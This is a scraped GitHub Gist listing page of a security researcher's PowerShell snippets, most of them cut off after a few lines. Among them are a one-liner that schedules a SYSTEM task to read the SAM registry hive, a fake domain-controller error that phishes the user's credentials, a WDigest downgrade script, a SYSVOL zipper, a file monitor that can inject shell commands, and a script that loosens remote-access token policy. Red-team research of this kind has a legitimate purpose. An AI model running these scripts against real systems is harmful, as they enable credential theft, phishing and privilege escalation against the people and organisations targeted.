Skip to content

Instantly share code, notes, and snippets.

View HarmJ0y's full-sized avatar
💭
Coding towards chaotic good while living on the decision boundary

Will HarmJ0y

💭
Coding towards chaotic good while living on the decision boundary
View GitHub Profile
@HarmJ0y
HarmJ0y / Start-FileSystemMonitor.ps1
Last active September 12, 2022 01:45
Start-FileSystemMonitor
Function Start-FileSystemMonitor {
<#
.SYNOPSIS
This function will monitor one or more file paths for any file
creation, deletion, modification, or renaming events. Data including
the change type, ACL for the file, etc. is output to the screen or
a specified -LogFile.
If -InjectShellCmd is specified, the given command is inserted into
@HarmJ0y
HarmJ0y / New-SYSVOLZip.ps1
Created August 8, 2017 01:03
Compresses all of SYSVOL to a local .zip file.
function New-SYSVOLZip {
<#
.SYNOPSIS
Compresses all folders/files in SYSVOL to a .zip file.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
@HarmJ0y
HarmJ0y / Invoke-ThreadedFunction.ps1
Created October 25, 2015 06:04
Invoke-ThreadedFunction
function Invoke-ThreadedFunction {
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String[]]
$ComputerName,
[Parameter(Position=1,Mandatory=$True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
@HarmJ0y
HarmJ0y / Invoke-LockWorkStation.ps1
Created May 3, 2015 21:11
Invoke-LockWorkStation
Function Invoke-LockWorkStation {
# region define P/Invoke types dynamically
# stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
# thanks matt and chris :)
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.User32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
@HarmJ0y
HarmJ0y / streams.ps1
Last active August 31, 2022 17:34
streams.ps1
# these functions all you to enumerate, add, and remove alternate data streams
# it can function as a bootleg replacement for Sysinternals' streams.exe
function Find-Streams {
<#
.SYNOPSIS
Enumerates all alternate data streams for a specified path.
If no path is provided, the current path is used.
Author: @harmj0y
License: BSD 3-Clause
@HarmJ0y
HarmJ0y / findsid.bat
Last active August 31, 2022 17:27
Win7 Powershell SID Enumeration
schtasks /create /tn GetSid /tr "powershell.exe -c '$k=Get-Item HKLM:\security\sam\domains\account;$v=Get-ItemProperty $k.pspath;New-Object System.Security.Principal.SecurityIdentifier([Byte[]]$v.V[-24..-1],0)|Format-List *|Out-File c:\sid.txt'" /sc minute /ru System /MO 1 & choice /C X /T 60 /D X > nul & schtasks /delete /tn GetSid /f
@HarmJ0y
HarmJ0y / random.ps1
Last active August 31, 2022 17:27
random data file one-liner
$megs=1000;$w=New-Object IO.streamWriter $env:temp\data.dat;[char[]]$c='azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN0123456789-_';1..$megs|ForEach-Object{1..4|ForEach-Object{$r=$c|Get-Random -Count $c.Count;$s=-join $r;$w.Write($s*4kb);}};
@HarmJ0y
HarmJ0y / prompt.ps1
Last active August 31, 2022 17:25
prompt
# Stolen/adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# POC from greg.foss[at]owasp.org
function prompt {
Add-Type -AssemblyName Microsoft.VisualBasic
[Microsoft.VisualBasic.Interaction]::MsgBox('Lost contact with the Domain Controller.', 'OKOnly,MsgBoxSetForeground,SystemModal,Critical', 'ERROR - 0xA801B720')
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
@HarmJ0y
HarmJ0y / Invoke-WdigestDowngrade.ps1
Created May 22, 2015 16:33
Invoke-WdigestDowngrade
function Invoke-LockWorkStation {
# region define P/Invoke types dynamically
# stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
# thanks matt and chris :)
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.User32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
@HarmJ0y
HarmJ0y / psremoting.ps1
Last active August 31, 2022 17:24
Enable PSRemoting
#Run winrm quickconfig defaults
echo Y | winrm quickconfig
#Run enable psremoting command with defaults
Enable-PSRemoting -force
# adjust local token filter policy
Set-ItemProperty –Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System –Name LocalAccountTokenFilterPolicy –Value 1 -Type DWord
#Enabled Trusted Hosts for Universial Access